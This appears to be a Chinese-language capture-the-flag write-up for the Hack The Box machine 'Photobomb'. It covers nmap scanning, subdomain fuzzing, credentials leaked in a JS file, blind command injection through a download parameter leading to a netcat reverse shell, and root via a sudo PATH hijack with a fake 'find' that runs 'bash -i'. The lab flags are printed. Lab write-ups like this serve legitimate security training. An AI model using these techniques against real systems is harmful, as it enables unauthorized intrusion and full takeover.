HTB:Photobomb[WriteUP]

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行端口开放扫描

再次使用nmap对靶机开放端口进行脚本、服务扫描

使用ffuf进行简单的子域名扫描

使用浏览器直接访问该域名

选取一个照片进行下载,使用Yakit进行抓包

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c

特权提升

新建一个find文件(Shell)

ROOT_FLAG:2476206b2085f447038e0b03792bf147


连接至HTB服务器并启动靶机

靶机IP:10.10.11.182

分配IP:10.10.16.7


使用nmap对靶机进行端口开放扫描

复制代码
nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

┌──(root㉿kali)-/home/kali/Desktop/temp

└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 19:43 EST

Nmap scan report for 10.10.11.182 (10.10.11.182)

Host is up (0.16s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds

再次使用nmap对靶机开放端口进行脚本、服务扫描

复制代码
nmap -p 22,80 -sCV 10.10.11.182

可以看到这里访问靶机80端口被重定位,将其写入hosts中

复制代码
echo '10.10.11.182 photobomb.htb' >> /etc/hosts

使用ffuf进行简单的子域名扫描

复制代码
ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302

使用浏览器直接访问该域名

点击click here会跳出认证框

按住Ctrl+U查看网页源码,可以找到一个JS文件:photobomb.js

直接点击查看其内容,获得一份凭证

账户:pH0t0

密码:b0Mb!

使用该凭证进行登录进入相册页

选取一个照片进行下载,使用Yakit进行抓包

经过测试:filetype这个参数点是无回显出网RCE(这里ping务必选定-c参数选择此数不然就会一直ping)

本地侧nc收到回显

┌──(root㉿kali)-/home/kali/Desktop/temp

└─# nc -lvnp 1425

listening on any 1425 ...

connect to 10.10.16.7 from (UNKNOWN) 10.10.11.182 56584

bash: cannot set terminal process group (696): Inappropriate ioctl for device

bash: no job control in this shell

wizard@photobomb:~/photobomb$ whoami

whoami

wizard

查找user_flag位置并查看其内容

wizard@photobomb:~/photobomb$ find / -name 'user.txt' 2>/dev/null

find / -name 'user.txt' 2>/dev/null

/home/wizard/user.txt

wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt

cat /home/wizard/user.txt

a9afd9220ae2b573190f0ae0d9952f1c

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c


特权提升

查看该用户可特权运行的命令

复制代码
sudo -l

wizard@photobomb:~/photobomb$ sudo -l

sudo -l

Matching Defaults entries for wizard on photobomb:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:

(root) SETENV: NOPASSWD: /opt/cleanup.sh

提升TTY

复制代码
python3 -c 'import pty; pty.spawn("sh")'

查看**/opt/cleanup.sh**内容

复制代码
cat /opt/cleanup.sh

$ cat /opt/cleanup.sh

cat /opt/cleanup.sh

#!/bin/bash

. /opt/.bashrc

cd /home/wizard/photobomb

clean up log files

if -s log/photobomb.log && ! -L log/photobomb.log

then

/bin/cat log/photobomb.log > log/photobomb.log.old

/usr/bin/truncate -s0 log/photobomb.log

fi

protect the priceless originals

find source_images -type f -name '*.jpg' -exec chown root:root {} \;

上述代码中,我主要关注这一部分,bashrc文件通常是bash环境配置文件

但是这个文件默认应该不在/opt目录下,所以我尝试寻找该系统的所有bashrc文件路径

复制代码
find / -name '*bashrc*' -type f 2>/dev/null

$ find / -name '*bashrc*' -type f 2>/dev/null

find / -name '*bashrc*' -type f 2>/dev/null

/opt/.bashrc

/usr/share/byobu/profiles/bashrc

/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc

/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc

/usr/share/base-files/dot.bashrc

/usr/lib/python3/dist-packages/pexpect/bashrc.sh

/etc/skel/.bashrc
/etc/bash.bashrc

/home/wizard/.bashrc

使用diff命令将/opt/.bashrc文件与/etc/bash.bashrc文件进行内容比对

$ diff /etc/bash.bashrc /opt/.bashrc

diff /etc/bash.bashrc /opt/.bashrc

5a6,11

> # Jameson: ensure that snaps don't interfere, 'cos they are dumb

> PATH=${PATH/:\/snap\/bin/}

>

> # Jameson: caused problems with testing whether to rotate the log file

> enable -n #

>

可以看到,该**/opt/cleanup.sh** 脚本,引用的环境配置文件**/opt/.bashrc** 中,关于Shell所运行的二进制文件路径配置与系统默认文件(/etc/bash.bashrc)不同

系统中的**/etc/bash.bashrc** 文件使用的是**/bin/**绝对路径从这开始读取

而**/opt/.bashrc**文件并未配置二进制文件寻找路径

这意味着如果我们运行**/opt/cleanup.sh** 脚本,它将会从**$PATH**环境变量中的所有目录中查找二进制文件

再次查看脚本内容,在最后一行中可见使用的find命令并非绝对路径

提权思路就很简单了,当前目录下新建一个find 命令,并将当前目录写入**$PATH**环境变量头部

与此同时,用这临时设置的环境变量特权(sudo )运行**/opt/cleanup.sh**脚本

新建一个find文件(Shell)

复制代码
echo 'bash -i' > find

为find文件赋执行权限

复制代码
chmod +x find

配置临时环境变量并启动**/opt/cleanup.sh**脚本

复制代码
sudo PATH=$PWD:$PATH /opt/cleanup.sh

wizard@photobomb:~$ echo 'bash -i' > find

echo 'bash -i' > find

wizard@photobomb:~$ chmod +x find

chmod +x find

wizard@photobomb:~ sudo PATH=PWD:$PATH /opt/cleanup.sh

sudo PATH=PWD:PATH /opt/cleanup.sh

root@photobomb:/home/wizard/photobomb# whoami

whoami

root

在/root目录下找到了root.txt

root@photobomb:/# cd /root

cd /root

root@photobomb:~# ls

ls

root.txt

root@photobomb:~# cat root.txt

cat root.txt

2476206b2085f447038e0b03792bf147

ROOT_FLAG:2476206b2085f447038e0b03792bf147

相关推荐
零零信安14 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手14 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub14 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux14 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc14 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing14 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Chengbei1114 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
X7x514 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
Inhand陈工14 天前
污水泵站PLC数据上云实战:西门子PLC + 映翰通IG502 + DM平台全流程
人工智能·物联网·网络安全·阿里云·信息与通信·iot
X7x514 天前
一文讲透PADIMEE模型
网络安全·网络攻击模型·安全威胁分析·安全架构·padimee模型